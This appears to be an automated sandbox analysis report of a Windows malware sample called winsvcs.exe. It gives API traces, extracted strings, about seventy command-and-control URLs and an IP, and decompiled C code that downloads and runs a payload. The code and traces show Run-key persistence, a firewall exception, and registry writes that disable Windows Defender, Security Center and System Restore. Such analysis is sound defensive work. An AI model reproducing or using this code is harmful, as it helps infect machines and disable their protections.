0x0040608a
0x0040608f
0x0040609a
0x0040609b
0x004060a0
0x004060aa
0x004060b2
0x004060d7
0x004060d7
0x004060b2
0x004060e2
0x004060f6
0x0040610c
0x00406111
0x00406114
0x00406123
0x0040612b
0x00406133
0x0040613a
0x0040613b
0x00406140
0x0040614b
0x0040614c
0x00406151
0x0040615b
0x00406163
0x00406188
0x00406188
0x00406163
0x00406193
0x00406199
0x004061af
0x004061ca
0x004061e0
0x004061f6
0x00406217
0x00406223
0x00406224
0x00406229
0x00406234
0x00406235
0x00406243
0x0040624a
0x0040624b
0x00406250
0x0040625b
0x0040625c
0x00406261
0x0040626b
0x00406273
0x00406288
0x00406293
0x00406293
0x004062b1
0x004062ba
0x004061a9
0x00000000
0x004062b3
0x00000000
0x004062b3
0x004062b1
0x00000000
0x00406275
0x004062cb
0x004062d2
0x004062d3
0x004062d8
0x004062e3
0x004062e4
0x004062e9
0x004062f2
0x004062fe
0x00406304
0x0040630a
0x0040630d
0x0040631d
0x00000000
0x00000000
0x00406327
0x0040635e
0x0040635e
0x00406372
0x00406378
0x00406385
0x00406524
0x00406542
0x0040654a
0x00406604
0x00406609
0x00406627
0x0040662f
0x0040664d
0x00406653
0x00406660
0x0040667a
0x0040667a
0x00406698
0x004066a0
0x004066c2
0x004066c2
0x004066e0
0x004066e8
0x00406706
0x0040670c
0x00406719
0x00406733
0x00406733
0x00406751
0x00406757
0x00406764
0x0040677e
0x0040677e
0x0040679c
0x004067a2
0x004067af
0x004067c9
0x004067c9
0x004067d5
0x004067d5
0x004067e1
0x004067e1
0x004067ec
0x0040680a
0x00406812
0x004068a0
0x004068a5
0x004068c3
0x004068cb
0x00406959
0x0040695e
0x0040697c
0x00406984
0x0040699e
0x004069a4
0x004069b1
0x004069cb
0x004069cb
0x004069d7
0x004069d7
0x004069e2
0x004069f7
0x00406a02
0x00406a17
0x00406a22
0x00406a37
0x00406a42
0x00406a48
0x00406a52
0x00406abe
0x00406ac3
0x00406ac9
0x00406ace
0x00406ad4
0x00406aea
0x00406afc
0x00406b10
0x00406b1e
0x00406b25
0x00406b2a
0x00406b35
0x00406b36
0x00406b3b
0x00406b3e
0x00406b54
0x00406b66
0x00406b7a
0x00406b88
0x00406b95
0x00406b96
0x00406b9b
0x00406ba6
0x00406ba7
0x00406bac
0x00406bb6
0x00406bc1
0x00406bd7
0x00406bd7
0x00406b4e
0x00406b4e
0x00406ae4
0x00406ae4
0x00406be7
0x00406bec
0x00406bfe
0x00406bfe
0x00406a54
0x00406a59
0x00406a6e
0x00406a79
0x00406a7f
0x00406a95
0x00406aa3
0x00406ab6
0x00406a8f
0x00406a8f
0x00000000
0x00406a95
0x00406a52
0x004068d1
0x004068e7
0x00406916
0x00406923
0x00406945
0x00406945
0x004068e1
0x004068e1
0x00406953
0x00000000
0x00406818
0x00406818
0x0040682e
0x00406857
0x0040685d
0x0040686a
0x0040688c
0x0040688c
0x00406828
0x00406828
0x0040689a
0x00000000
0x0040689a
0x00406812
0x00406570
0x0040657d
0x004065f8
0x004065fe
0x00000000
0x004065fe
0x00406585
0x00406594
0x0040659a
0x004065a3
0x004065aa
0x004065b1
0x004065c9
0x004065f2
0x00000000
0x004065f2
0x00406394
0x004063a3
0x004063c9
0x00406454
0x00406474
0x004064ff
0x00406506
0x00406511
0x00406519
0x00406519
0x00406480
0x0040648f
0x00406495
0x0040649e
0x004064a5
0x004064ac
0x004064c4
0x004064ed
0x004064f9
0x00000000
0x004064f9
0x004063d5
0x004063e4
0x004063ea
0x004063f3
0x004063fa
0x00406401
0x00406419
0x00406442
0x0040644e
0x00000000
0x0040644e
0x0040632f
0x00406333
0x00406344
0x00000000
0x00000000
0x00406346
0x0040634d
0x0040635c
0x00000000
0x00000000
0x00000000
0x0040635c
0x00406367
0x00406369
0x0040636c
0x00000000
0x0040636c
0x00405ed1

APIs

Sleep.KERNEL32(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B08

Part of subcall function 00405533: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004055C3
Part of subcall function 00405533: GetProcAddress.KERNEL32(00000000,wine_get_unix_file_name), ref: 004055DA
Part of subcall function 00405533: ExitProcess.KERNEL32 ref: 004055E6
Part of subcall function 00405533: Sleep.KERNEL32(00000064), ref: 004055EE
Part of subcall function 00405533: ExitProcess.KERNEL32 ref: 0040561A
Part of subcall function 00405533: Sleep.KERNEL32(00000064), ref: 00405624
Part of subcall function 00405533: GetModuleHandleA.KERNEL32(00409118), ref: 00405644
Part of subcall function 00405533: ExitProcess.KERNEL32 ref: 00405650

Sleep.KERNEL32(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B18
CreateMutexA.KERNEL32(00000000,00000000,?), ref: 00405EB6
GetLastError.KERNEL32 ref: 00405EC2
ExitProcess.KERNEL32 ref: 00405ED1
memset.MSVCRT ref: 00405EF6
memset.MSVCRT ref: 00405F0C
memset.MSVCRT ref: 00405F22
memset.MSVCRT ref: 00405F38
memset.MSVCRT ref: 00405F4E
WSAStartup.WS2_32(00000202,?), ref: 00405F62
GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405F76
_snwprintf.MSVCRT ref: 00405F94
DeleteFileW.KERNEL32(?), ref: 00405FA3
Sleep.KERNEL32(000001F4), ref: 00405FAE
ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000208), ref: 00405FC5
_snwprintf.MSVCRT ref: 00405FEA
PathFileExistsW.SHLWAPI(?), ref: 00405FF9
CopyFileW.KERNEL32(?,?,00000000), ref: 00406013
SetFileAttributesW.KERNEL32(?,00000007), ref: 00406026
Sleep.KERNEL32(000001F4), ref: 00406031
memset.MSVCRT ref: 00406045
memset.MSVCRT ref: 0040605B
SHGetFolderPathW.SHELL32(00000000,0000001E,00000000,00000000,?), ref: 00406072
_snwprintf.MSVCRT ref: 0040609B
PathFileExistsW.SHLWAPI(?), ref: 004060AA
CopyFileW.KERNEL32(?,?,00000000), ref: 004060C4
SetFileAttributesW.KERNEL32(?,00000007), ref: 004060D7
Sleep.KERNEL32(000001F4), ref: 004060E2
memset.MSVCRT ref: 004060F6
memset.MSVCRT ref: 0040610C
SHGetFolderPathW.SHELL32(00000000,00000017,00000000,00000000,?), ref: 00406123
_snwprintf.MSVCRT ref: 0040614C
PathFileExistsW.SHLWAPI(?), ref: 0040615B
CopyFileW.KERNEL32(?,?,00000000), ref: 00406175
SetFileAttributesW.KERNEL32(?,00000007), ref: 00406188
Sleep.KERNEL32(000001F4), ref: 00406193
memset.MSVCRT ref: 004061CA
memset.MSVCRT ref: 004061E0
memset.MSVCRT ref: 004061F6
ExpandEnvironmentStringsW.KERNEL32(?,?,00000208), ref: 00406217
_snwprintf.MSVCRT ref: 00406235
_snwprintf.MSVCRT ref: 0040625C
PathFileExistsW.SHLWAPI(?), ref: 0040626B
PathFileExistsW.SHLWAPI(?), ref: 00406280
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406293
CopyFileW.KERNEL32(?,?,00000000), ref: 004062A9
Sleep.KERNEL32(000001F4), ref: 004062BA
_snwprintf.MSVCRT ref: 004062E4
SetFileAttributesW.KERNEL32(?,00000007), ref: 00406394
SetFileAttributesW.KERNEL32(?,00000007), ref: 004063A3
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 004063C1
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 00406442
RegCloseKey.ADVAPI32(?), ref: 0040644E
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 0040646C
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 004064ED
RegCloseKey.ADVAPI32(?), ref: 004064F9

Part of subcall function 004035DF: memset.MSVCRT ref: 004035EE
Part of subcall function 004035DF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Part of subcall function 004035DF: Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
Part of subcall function 004035DF: ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

Sleep.KERNEL32(000001F4), ref: 00406511
ExitProcess.KERNEL32 ref: 00406519
Sleep.KERNEL32(000001F4), ref: 00406524
RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\,00000000,000F003F,?), ref: 00406542
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 0040656A
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 004065F2
RegCloseKey.ADVAPI32(?), ref: 004065FE
Sleep.KERNEL32(000001F4), ref: 00406609
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\,00000000,000F003F,?), ref: 00406627
RegQueryValueExW.KERNEL32(?,DisableAntiSpyware,00000000,?,00000000,00000000), ref: 0040664D
RegSetValueExW.ADVAPI32(?,DisableAntiSpyware,00000000,00000004,?,00000004), ref: 0040667A
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,000F003F,?), ref: 00406698
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 004066C2
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\,00000000,000F003F,?), ref: 004066E0
RegQueryValueExW.KERNEL32(?,DisableScanOnRealtimeEnable,00000000,?,00000000,00000000), ref: 00406706
RegSetValueExW.ADVAPI32(?,DisableScanOnRealtimeEnable,00000000,00000004,?,00000004), ref: 00406733
RegQueryValueExW.KERNEL32(?,DisableOnAccessProtection,00000000,?,00000000,00000000), ref: 00406751
RegSetValueExW.ADVAPI32(?,DisableOnAccessProtection,00000000,00000004,?,00000004), ref: 0040677E
RegQueryValueExW.KERNEL32(?,DisableBehaviorMonitoring,00000000,?,00000000,00000000), ref: 0040679C
RegSetValueExW.ADVAPI32(?,DisableBehaviorMonitoring,00000000,00000004,?,00000004), ref: 004067C9
RegCloseKey.ADVAPI32(?), ref: 004067D5
RegCloseKey.ADVAPI32(?), ref: 004067E1
Sleep.KERNEL32(000001F4), ref: 004067EC
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Security Center\,00000000,000F003F,?), ref: 0040680A
RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,00000000), ref: 00406857
RegSetValueExW.KERNEL32(?,?,00000000,00000004,?,00000004), ref: 0040688C
RegCloseKey.ADVAPI32(?), ref: 0040689A
Sleep.KERNEL32(000001F4), ref: 004068A5
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Security Center\Svc\,00000000,000F003F,?), ref: 004068C3
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 00406910
RegSetValueExW.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 00406945
RegCloseKey.ADVAPI32(?), ref: 00406953
Sleep.KERNEL32(000001F4), ref: 0040695E
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\,00000000,000F003F,?), ref: 0040697C
RegQueryValueExW.KERNEL32(?,DisableSR,00000000,?,00000000,00000000), ref: 0040699E
RegSetValueExW.KERNEL32(?,DisableSR,00000000,00000004,?,00000004), ref: 004069CB
RegCloseKey.ADVAPI32(?), ref: 004069D7
Sleep.KERNEL32(000001F4), ref: 004069E2
CreateThread.KERNEL32(00000000,00000000,004041B2,00000000,00000000,00000000), ref: 004069F7
Sleep.KERNEL32(000001F4), ref: 00406A02
CreateThread.KERNEL32(00000000,00000000,00402689,00000000,00000000,00000000), ref: 00406A17
Sleep.KERNEL32(000001F4), ref: 00406A22
CreateThread.KERNEL32(00000000,00000000,004054CE,00000000,00000000,00000000), ref: 00406A37
Sleep.KERNEL32(000001F4), ref: 00406A42

Part of subcall function 00403527: memset.MSVCRT ref: 0040353E
Part of subcall function 00403527: memset.MSVCRT ref: 00403554
Part of subcall function 00403527: ExpandEnvironmentStringsW.KERNEL32(%appdata%,?,00000208), ref: 0040356D
Part of subcall function 00403527: _snwprintf.MSVCRT ref: 0040358B
Part of subcall function 00403527: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004035A9
Part of subcall function 00403527: GetLastError.KERNEL32 ref: 004035BE
Part of subcall function 00403527: CloseHandle.KERNEL32(000000FF), ref: 004035D5

Sleep.KERNEL32(000001F4), ref: 00406A59
CreateThread.KERNEL32(00000000,00000000,0040599A,00000000,00000000,00000000), ref: 00406A6E
Sleep.KERNEL32(000001F4), ref: 00406A79
Sleep.KERNEL32(000001F4), ref: 00406AA3

Part of subcall function 0040324B: memset.MSVCRT ref: 00403262
Part of subcall function 0040324B: _snprintf.MSVCRT ref: 0040327E
Part of subcall function 0040324B: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 00403293
Part of subcall function 0040324B: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004032BD
Part of subcall function 0040324B: InternetCloseHandle.WININET(?), ref: 004032C9
Part of subcall function 0040324B: InternetCloseHandle.WININET(00000000), ref: 004032D5

Sleep.KERNEL32(000001F4), ref: 00406AC3
Sleep.KERNEL32(000001F4), ref: 00406ACE
Sleep.KERNEL32(000001F4), ref: 00406AFC
memset.MSVCRT ref: 00406B10
_snprintf.MSVCRT ref: 00406B36
Sleep.KERNEL32(000001F4), ref: 00406B66
memset.MSVCRT ref: 00406B7A
_snprintf.MSVCRT ref: 00406BA7

Part of subcall function 00402BE5: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
Part of subcall function 00402BE5: InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
Part of subcall function 00402BE5: PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EB9
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EC2
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403238
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403241

CreateThread.KERNEL32(00000000,00000000,0040436A,?,00000000,00000000), ref: 00406BD7
rand.MSVCRT ref: 00406BE7
Sleep.KERNEL32 ref: 00406BFE

Strings

SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection, xrefs: 0040668E
http://iefigjgdidisi.net/, xrefs: 00405D2F
http://iriototooeuwo.com/, xrefs: 00405DCF
http://ouegouehouseh.com/, xrefs: 00405D9D
349050503030, xrefs: 00405B1E
%userprofile%, xrefs: 00405B8B
DisableAntiSpyware, xrefs: 0040666F
http://nkihigheogojg.ru/, xrefs: 00405C49
http://udunfjgussiid.com/, xrefs: 00405DBB
DisableOnAccessProtection, xrefs: 00406746
http://iefigjgdidisi.ru/, xrefs: 00405C03
http://ugoheoheufefu.in/, xrefs: 00405CC1
%ls\T-495050303005030, xrefs: 00406224
DisableSR, xrefs: 004069C0
UpdatesOverride, xrefs: 00405BA9
http://udunfjgussiid.ru/, xrefs: 00405C2B
http://iefigjgdidisi.info/, xrefs: 00405E5B
http://riifndisojdoj.su/, xrefs: 00405C7B
http://iugouehoeohfh.com/, xrefs: 00405D7F
http://udunfjgussiid.info/, xrefs: 00405E83
AntiVirusOverride, xrefs: 00405B9F
http://inigbiseijfji.su/, xrefs: 00405C85
http://nkihigheogojg.biz/, xrefs: 00405E3D
http://inigbiseijfji.info/, xrefs: 00405E79
%ls\Users\All Users\Microsoft\Windows\Start Menu\%ls, xrefs: 00405FD9
http://iriototooeuwo.ru/, xrefs: 00405C3F
UpdatesDisableNotify, xrefs: 00405BC7
%ls:*:Enabled:%s, xrefs: 004062D3
http://ugoheoheufefu.su/, xrefs: 00405C5D
http://iriototooeuwo.su/, xrefs: 00405CA3
%ls\%ls, xrefs: 0040613B
AntiVirusDisableNotify, xrefs: 00405BBD
%temp%, xrefs: 00405B95
http://riifndisojdoj.net/, xrefs: 00405D43
http://ouegouehouseh.net/, xrefs: 00405D39
%ls\%ls, xrefs: 0040624B
http://iriototooeuwo.in/, xrefs: 00405D07
http://iugouehoeohfh.net/, xrefs: 00405D1B
http://inigbiseijfji.ru/, xrefs: 00405C21
%ls:Zone.Identifier, xrefs: 00405F83
s.exe, xrefs: 00405B6D
http://riifndisojdoj.biz/, xrefs: 00405E0B
http://inigbiseijfji.com/, xrefs: 00405DB1
http://inigbiseijfji.net/, xrefs: 00405D4D
http://iefigjgdidisi.biz/, xrefs: 00405DF7
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004063B7
http://ouegouehouseh.info/, xrefs: 00405E65
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection, xrefs: 004066B8
FirewallDisableNotify, xrefs: 00405BDB
p.exe, xrefs: 00405B63
http://riifndisojdoj.com/, xrefs: 00405DA7
http://inigbiseijfji.in/, xrefs: 00405CE9
http://eiisisiysjsif.biz/, xrefs: 00405E29
http://ouegouehouseh.ru/, xrefs: 00405C0D
http://iefigjgdidisi.su/, xrefs: 00405C67
http://nkihigheogojg.com/, xrefs: 00405DD9
http://iugouehoeohfh.ru/, xrefs: 00405BEF
http://ugoheoheufefu.biz/, xrefs: 00405DED
http://iugouehoeohfh.in/, xrefs: 00405CB7
G, xrefs: 00406A95
winsvcs.exe, xrefs: 00405B30
http://nkihigheogojg.net/, xrefs: 00405D75
http://iriototooeuwo.info/, xrefs: 00405E97
DisableBehaviorMonitoring, xrefs: 00406791
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\, xrefs: 00406972
DisableAntiSpyware, xrefs: 00406642
http://ugoheoheufefu.net/, xrefs: 00405D25
DisableScanOnRealtimeEnable, xrefs: 00406728
SOFTWARE\Policies\Microsoft\Windows Defender\, xrefs: 0040661D
http://ouegouehouseh.biz/, xrefs: 00405E01
http://iugouehoeohfh.su/, xrefs: 00405C53
http://ugoheoheufefu.info/, xrefs: 00405E51
http://iugouehoeohfh.info/, xrefs: 00405E47
FirewallOverride, xrefs: 00405BB3
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\, xrefs: 004066D6
t.exe, xrefs: 00405B4F
http://iugouehoeohfh.biz/, xrefs: 00405DE3
http://ugoheoheufefu.com/, xrefs: 00405D89
http://eiisisiysjsif.ru/, xrefs: 00405C35
SOFTWARE\Microsoft\Security Center\, xrefs: 00406800
http://nkihigheogojg.info/, xrefs: 00405EA1
%ls\%ls, xrefs: 0040608A
http://riifndisojdoj.ru/, xrefs: 00405C17
http://udunfjgussiid.su/, xrefs: 00405C8F
DisableScanOnRealtimeEnable, xrefs: 004066FB
AutoUpdateDisableNotify, xrefs: 00405BD1
http://eiisisiysjsif.info/, xrefs: 00405E8D
http://udunfjgussiid.net/, xrefs: 00405D57
SOFTWARE\Microsoft\Security Center\Svc\, xrefs: 004068B9
http://iefigjgdidisi.in/, xrefs: 00405CCB
http://iriototooeuwo.net/, xrefs: 00405D6B
http://eiisisiysjsif.in/, xrefs: 00405CFD
%systemdrive%, xrefs: 00405FC0
http://nkihigheogojg.in/, xrefs: 00405D11
http://udunfjgussiid.in/, xrefs: 00405CF3
http://iefigjgdidisi.com/, xrefs: 00405D93
http://92.63.197.48/, xrefs: 00405BE5
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00406462
Microsoft Windows Services, xrefs: 00405B40
DisableBehaviorMonitoring, xrefs: 004067BE
http://ugoheoheufefu.ru/, xrefs: 00405BF9
http://nkihigheogojg.su/, xrefs: 00405CAD
http://inigbiseijfji.biz/, xrefs: 00405E15
http://riifndisojdoj.info/, xrefs: 00405E6F
http://eiisisiysjsif.net/, xrefs: 00405D61
http://udunfjgussiid.biz/, xrefs: 00405E1F
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\, xrefs: 00406538
http://ouegouehouseh.in/, xrefs: 00405CD5
http://ouegouehouseh.su/, xrefs: 00405C71
DisableSR, xrefs: 00406993
o.exe, xrefs: 00405B77
http://riifndisojdoj.in/, xrefs: 00405CDF
G, xrefs: 00406AEA
%s%s, xrefs: 00406B96
m.exe, xrefs: 00405B59
http://eiisisiysjsif.su/, xrefs: 00405C99
http://eiisisiysjsif.com/, xrefs: 00405DC5
%windir%, xrefs: 00405B81
DisableOnAccessProtection, xrefs: 00406773
http://iriototooeuwo.biz/, xrefs: 00405E33

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Sleep$FileValuememset$Close$OpenQuery$CreateInternet$Handle$Path_snwprintf$Process$AttributesExistsExitHttpInfoThread$Copy$EnvironmentExpandModuleStrings_snprintf$ErrorFolderLastName$AddressDeleteDirectoryExecuteFindMutexProcShellStartuprand
String ID: %ls:*:Enabled:%s$%ls:Zone.Identifier$%ls\%ls$%ls\%ls$%ls\%ls$%ls\T-495050303005030$%ls\Users\All Users\Microsoft\Windows\Start Menu\%ls$%s%s$%systemdrive%$%temp%$%userprofile%$%windir%$349050503030$AntiVirusDisableNotify$AntiVirusOverride$AutoUpdateDisableNotify$DisableAntiSpyware$DisableAntiSpyware$DisableBehaviorMonitoring$DisableBehaviorMonitoring$DisableOnAccessProtection$DisableOnAccessProtection$DisableSR$DisableSR$DisableScanOnRealtimeEnable$DisableScanOnRealtimeEnable$FirewallDisableNotify$FirewallOverride$G$G$Microsoft Windows Services$SOFTWARE\Microsoft\Security Center\$SOFTWARE\Microsoft\Security Center\Svc\$SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\$SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$SOFTWARE\Policies\Microsoft\Windows Defender\$SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection$SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection$SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesOverride$http://92.63.197.48/$http://eiisisiysjsif.biz/$http://eiisisiysjsif.com/$http://eiisisiysjsif.in/$http://eiisisiysjsif.info/$http://eiisisiysjsif.net/$http://eiisisiysjsif.ru/$http://eiisisiysjsif.su/$http://iefigjgdidisi.biz/$http://iefigjgdidisi.com/$http://iefigjgdidisi.in/$http://iefigjgdidisi.info/$http://iefigjgdidisi.net/$http://iefigjgdidisi.ru/$http://iefigjgdidisi.su/$http://inigbiseijfji.biz/$http://inigbiseijfji.com/$http://inigbiseijfji.in/$http://inigbiseijfji.info/$http://inigbiseijfji.net/$http://inigbiseijfji.ru/$http://inigbiseijfji.su/$http://iriototooeuwo.biz/$http://iriototooeuwo.com/$http://iriototooeuwo.in/$http://iriototooeuwo.info/$http://iriototooeuwo.net/$http://iriototooeuwo.ru/$http://iriototooeuwo.su/$http://iugouehoeohfh.biz/$http://iugouehoeohfh.com/$http://iugouehoeohfh.in/$http://iugouehoeohfh.info/$http://iugouehoeohfh.net/$http://iugouehoeohfh.ru/$http://iugouehoeohfh.su/$http://nkihigheogojg.biz/$http://nkihigheogojg.com/$http://nkihigheogojg.in/$http://nkihigheogojg.info/$http://nkihigheogojg.net/$http://nkihigheogojg.ru/$http://nkihigheogojg.su/$http://ouegouehouseh.biz/$http://ouegouehouseh.com/$http://ouegouehouseh.in/$http://ouegouehouseh.info/$http://ouegouehouseh.net/$http://ouegouehouseh.ru/$http://ouegouehouseh.su/$http://riifndisojdoj.biz/$http://riifndisojdoj.com/$http://riifndisojdoj.in/$http://riifndisojdoj.info/$http://riifndisojdoj.net/$http://riifndisojdoj.ru/$http://riifndisojdoj.su/$http://udunfjgussiid.biz/$http://udunfjgussiid.com/$http://udunfjgussiid.in/$http://udunfjgussiid.info/$http://udunfjgussiid.net/$http://udunfjgussiid.ru/$http://udunfjgussiid.su/$http://ugoheoheufefu.biz/$http://ugoheoheufefu.com/$http://ugoheoheufefu.in/$http://ugoheoheufefu.info/$http://ugoheoheufefu.net/$http://ugoheoheufefu.ru/$http://ugoheoheufefu.su/$m.exe$o.exe$p.exe$s.exe$t.exe$winsvcs.exe
API String ID: 2756291138-154482585
Opcode ID: 9bb6693dfc2b55894f7c17be34ea4633c6f9167ef61a17fc33634338bb5f05a5
Instruction ID: 1ea3f9336a1b27a5f0e0e718630268e8cb9790a403177bd2925e50b85b71fc23
Opcode Fuzzy Hash: 9bb6693dfc2b55894f7c17be34ea4633c6f9167ef61a17fc33634338bb5f05a5
Instruction Fuzzy Hash: 30923F71E44318AFDB209F50CD49BDA77B8AB04709F4041FAB209BA1D1D7B86A84CF5A

Uniqueness

Uniqueness Score: 100.00%

Function 0040436A, Relevance: 79.0, APIs: 38, Strings: 7, Instructions: 243
filenetworksleepUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E0040436A(void* _a4) {
				void _v524;
				short _v1044;
				signed int _v1045;
				void* _v1052;
				short _v1572;
				void _v2076;
				void* _v2080;
				short _v2604;
				long _v2608;
				long _v2612;
				void* _v2616;
				short _v3140;
				signed int _t95;
				signed int _t97;
				signed int _t99;
				void* _t103;
				signed int _t108;
				signed int _t110;
				signed int _t112;
				WCHAR* _t117;
				void* _t127;
				void* _t130;
				int _t134;
				signed char _t141;
				signed int _t146;
				void* _t173;
				void* _t182;

				_t146 = 0x7d;
				memcpy( &_v2076, _a4, _t146 << 2);
				_v1045 = 0;
				memset( &_v3140, 0, 0x208);
				memset( &_v1044, 0, 0x208);
				memset( &_v524, 0, 0x208);
				memset( &_v2604, 0, 0x208);
				memset( &_v1572, 0, 0x208);
				_push( &_v2076);
				_push(L"%hs");
				_push(0x208);
				_push( &_v1572);
				L00401030();
				ExpandEnvironmentStringsW(L"%temp%",  &_v1044, 0x208);
				srand(GetTickCount());
				memset( &_v3140, 0, 0x208);
				_t95 = rand();
				asm("cdq");
				_push(_t95 % 0xea60 + 0x2710);
				_t97 = rand();
				asm("cdq");
				_push(_t97 % 0xea60 + 0x2710);
				_t99 = rand();
				asm("cdq");
				_push(_t99 % 0xea60 + 0x2710);
				_push( &_v1044);
				_push(L"%ls\\%d%d%d.exe");
				_push(0x208);
				_push( &_v3140);
				L00401030();
				_t182 = _t173 + 0x80;
				_t103 = InternetOpenW(L"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0", 0, 0, 0, 0); // executed
				_v2616 = _t103;
				if(_v2616 == 0) {
					L10:
					InternetCloseHandle(_v2616);
					Sleep(0x1f4); // executed
					if((_v1045 & 0x000000ff) == 0) {
						memset( &_v3140, 0, 0x208);
						_t108 = rand();
						asm("cdq");
						_push(_t108 % 0xea60 + 0x2710);
						_t110 = rand();
						asm("cdq");
						_push(_t110 % 0xea60 + 0x2710);
						_t112 = rand();
						asm("cdq");
						_push(_t112 % 0xea60 + 0x2710);
						_push( &_v1044);
						_push(L"%ls\\%d%d%d.exe");
						_push(0x208);
						_push( &_v3140);
						L00401030();
						_push(0);
						_push(0);
						_push( &_v3140);
						_t117 =  &_v1572;
						_push(_t117);
						_push(0);
						L0040121C();
						if(_t117 != 0) {
							memset( &_v2604, 0, 0x208);
							_push( &_v3140);
							_push(L"%ls:Zone.Identifier");
							_push(0x208);
							_push( &_v2604);
							L00401030();
							DeleteFileW( &_v2604);
							Sleep(0x1f4);
							E004035DF( &_v3140);
						}
					}
					ExitThread(0);
				}
				_t127 = InternetOpenUrlW(_v2616,  &_v1572, 0, 0, 0, 0); // executed
				_v1052 = _t127;
				if(_v1052 == 0) {
					L9:
					InternetCloseHandle(_v1052);
					goto L10;
				}
				_t130 = CreateFileW( &_v3140, 0x40000000, 0, 0, 2, 0, 0); // executed
				_v2080 = _t130;
				if(_v2080 == 0xffffffff) {
					L8:
					CloseHandle(_v2080);
					goto L9;
				} else {
					goto L3;
				}
				goto L8;
				L3:
				_t134 = InternetReadFile(_v1052,  &_v524, 0x207,  &_v2612); // executed
				if(_t134 == 0 || _v2612 == 0) {
					CloseHandle(_v2080);
					_push( &_v3140);
					_push(L"%ls:Zone.Identifier");
					_push(0x208);
					_push( &_v2604);
					L00401030();
					_t182 = _t182 + 0x10;
					DeleteFileW( &_v2604); // executed
					Sleep(0x1f4); // executed
					_t141 = E004035DF( &_v3140); // executed
